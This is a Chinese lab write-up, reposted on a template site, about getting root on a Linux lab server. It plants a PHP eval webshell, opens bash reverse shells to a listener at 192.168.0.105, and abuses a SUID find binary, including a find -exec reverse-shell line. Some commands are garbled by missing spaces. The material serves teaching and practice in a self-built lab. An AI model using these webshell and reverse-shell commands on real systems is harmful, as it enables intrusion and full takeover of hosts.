Linux利用Suid提权实验

这篇具有很好参考价值的文章主要介绍了Linux利用Suid提权实验。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、实验原理


1.Suid

suid:linux系统文件中除了读(r),写(w),执行(x)权限外,还有s和t这两个特殊的权限。 当s这个标志出现在文件所有者的x权限上时,此时就被称为SetUid(简称SUID)则当文件被执行时,该文件是以文件所有者UID而不是用户UID 执行程序。

2.查找Suid命令

find / -perm -u=s -type f 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

3.实验原理

普通用户在执行特殊的Suid命令的时候(如:find、vim、less、more等),命令会自动申请管理员权限,并以管理员的权限去执行命令,当用户在这种拥有可以再执行命令的命令下(如:vim)执行特殊命令(如:!\bin\bash),就会出现拥有当前申请到的管理员权限的命令终端,从而提权成功。

注:本实验是手动将find命令设置为Suid命令

chmod4755 /bin/find

find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档
find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档

二、实验流程


1.准备一个linux服务器,搭建web,部署一个php文件当中写一句话木马

<?phpeval($_POST["X"])?>//一句话木马

  1. 部署Web
find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档
  1. 写入一句话木马
find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档
  1. 开启服务
find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档
  1. 查看服务是否正常开启
find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档
find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档
  1. 在蚁剑上线,通过获取webshell的方式将权限通过反弹shell移交给自己的另一台服务器
find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档
3.再通过一次反弹shell移交给自己的服务器上

bash-i >& /dev/tcp/192.168.0.105/2323 0>&1//反弹shell命令

  1. 在另一台服务器上设置监听端口
find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档
  1. 反弹shell给此服务器上
find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档
3)出现报错

多次进行监听和反弹shell,蚁剑报错,服务器也无法接收反弹的shell

find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档
排查一:监听端口监听地址是否正确(无误)
排查二:防火墙是否关闭(已关闭)

ufw disable

排查三:查看/bin/sh指向(错误)

ls-al /bin/sh //查看/bin/sh指向

find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档

指向的dash,而蚁剑的反弹shell命令输入的是bash

解决方案:修改sh指向

ln-s-fbash /bin/sh

find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档

执行反弹shell命令,成功

find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档

在服务器上执行whoami

find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档

当前是一个普通用户权限

查找Suid命令

find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档
find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档
4.查看权限

执行find命令,查看是否获取管理员命令

find 当前目录下的文件 -exec whoami \;

find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档

此命令并非每次都能成功,需要多次尝试,或者在当前服务器下再进行一次反弹shell的操作,命令如下:

find 当前目录下的文件 -execbash-i >& /dev/tcp/192.168.0.105/8529 0>&1文章来源地址https://www.toymoban.com/news/detail-778859.html

三、实验结果


find suid 提权,安全,系统安全,linux,网络攻击模型,学习方法,Powered by 金山文档

成功获取root权限,本次实验提权成功。

四、实验总结


本次实验通过一句话木马<?php eval(&_post["A"])?>,使目标在中国蚁剑上线,再通过反弹shell命令 bash -i >& /dev/tcp/监听地址/监听端口 0>&1,将权限返回到服务器上,再执行find / -perm -u=s -type f 2>/dev/null命令,查看目标是否具有能够进行命令执行的Suid命令,发现存在,执行find 当前目录文件名 -exec whoami \; 查看权限是否提升为root用户,可进行再次反弹shell,进行权限提升。

注意一:反弹shell命令时,要注意目标是dash,还是bash或者其他

ls-al /bin/sh //查看命令

ln-s-fbash /bin/sh //修改成bash

注意二:在实验中要关闭防火墙,否则可能无法接收到监听信息

注意三:进行本实验前,要将find命令加入Suid命令中

chmod4755 /bin/find

注意四:find -exec命令并非每次都能成功,需要多次尝试,或者在当前服务器下再进行一次反弹shell的操作,命令如下:

find 当前目录下的文件 -execbash-i >& /dev/tcp/192.168.0.105/8529 0>&1

到了这里,关于Linux利用Suid提权实验的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Linux的特殊权限(Suid、Sgid、Sbit 详解)

    在Linux系统中,普通权限我们了解到有r(读)、w(写)、x(执行),这三种权限,但是在我们查看一些其它的文件时,会发现还会有其它权限的字母。例如:s,t 等 比如下面查看的这三个文件的权限,在不同用户权限上面有不同的字母。 1、普通用户可不可以修改密码? 答

    2024年02月06日
    浏览(59)
  • 网路安全技能竞赛——【Linux操作系统渗透提权】解析(超级详细)

    Linux操作系统渗透提权 任务环境说明: 服务器场景:Server2202(关闭链接) 用户名:hacker        密码:123456 使用渗透机对服务器信息收集,并将服务器中SSH服务端口号作为flag提交; 我这里使用qemu虚拟化启动靶机,如下图所示   Arp-scan -l主机发现   进行端口信息服务探

    2024年02月08日
    浏览(37)
  • 【linux提权】利用setuid进行简单提权

    首先先来了解一下setuid漏洞: SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主 不是发起者 ,而是 程序文件所属的属主 。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没

    2024年02月04日
    浏览(59)
  • [kernel] 带着问题看源码 —— setreuid 何时更新 saved-set-uid (SUID)

    在写《 [apue] 进程控制那些事儿 》/\\\"进程创建\\\"/\\\"更改进程用户 ID 和组 ID\\\"一节时,发现 setreuid 更新实际用户 ID (RUID) 或有效用户 ID (EUID) 时,保存的设置用户 ID (saved set-user-id SUID) 只会随 EUID 变更,并不像 man 上说的会随 RUID 变更 (man setreuid): 下面是实测结果: 调用参数 (root

    2024年04月10日
    浏览(35)
  • 智能电视root,获取最高权限,su: must be suid to work properly解决

    su命令 superuser.apk或supersu.apk sh命令(通常原系统自带) busybox(可选,拓展原系统的命令,原系统自带的命令较少) 当前电视的system.img镜像文件 其实较简单,就是将sh、su、busybox复制到/system/bin或/system/xbin目录下,然后安装superuser.apk到手机,授权应用程序的超级用户请求。

    2024年02月12日
    浏览(62)
  • 操作系统权限提升(十八)之Linux提权-内核提权

    内核提权是利用Linux内核的漏洞进行提权的,内核漏洞进行提权一般包括三个环节: 1、对目标系统进行信息收集,获取到系统内核信息及版本信息; 2、根据内核版本获取其对应的漏洞以及EXP 3、使用找到的EXP对目标系统发起攻击,完成提权操作 查看Linux操作系统的内核版本

    2024年01月16日
    浏览(44)
  • 利用HTTP隧道在Linux系统上实现安全远程访问

    在一个阳光明媚的下午,Linux小侠坐在电脑前,捋了捋他那一头乌黑亮丽的代码发,开始琢磨如何通过HTTP隧道实现安全远程访问。毕竟,在这个信息爆炸的时代,远程访问的安全性可是每个技术宅都绕不开的话题。 Linux小侠知道,HTTP隧道就像是网络世界中的一条秘密通道,能

    2024年02月19日
    浏览(39)
  • B-3:Linux 系统渗透提权

    任务环境说明: 服务器场景:Server2204(关闭链接) 用户名:hacker 密码:123456 1.使用渗透机对服务器信息收集,并将服务器中 SSH 服务端口号作为 flag 提 交; Flag:2283/tcp 2.使用渗透机对服务器信息收集,并将服务器中主机名称作为 flag 提交; Flag:KipZ1eze 3.使用渗透机对服务

    2024年02月08日
    浏览(43)
  • 【Linux操作系统】【综合实验三 用户帐号、文件系统与系统安全管理】

    要求掌握Linux系统用户的创建、删除与管理操作;熟悉Linux文件系统的管理模式,学会创建用户文件系统并装载和卸载文件系统;掌握超级用户的管理方式与权限,并实施对普通用户的管理;熟悉Linux系统安全机制与相关管理方法。 通过这个第三阶段实验,要求掌握以下操作与

    2023年04月14日
    浏览(35)
  • 【Linux操作系统】【综合实验三 用户帐号、文件系统与系统安全管理】【未整理】

    要求掌握Linux系统用户的创建、删除与管理操作;熟悉Linux文件系统的管理模式,学会创建用户文件系统并装载和卸载文件系统;掌握超级用户的管理方式与权限,并实施对普通用户的管理;熟悉Linux系统安全机制与相关管理方法。 通过这个第三阶段实验,要求掌握以下操作与

    2024年02月06日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包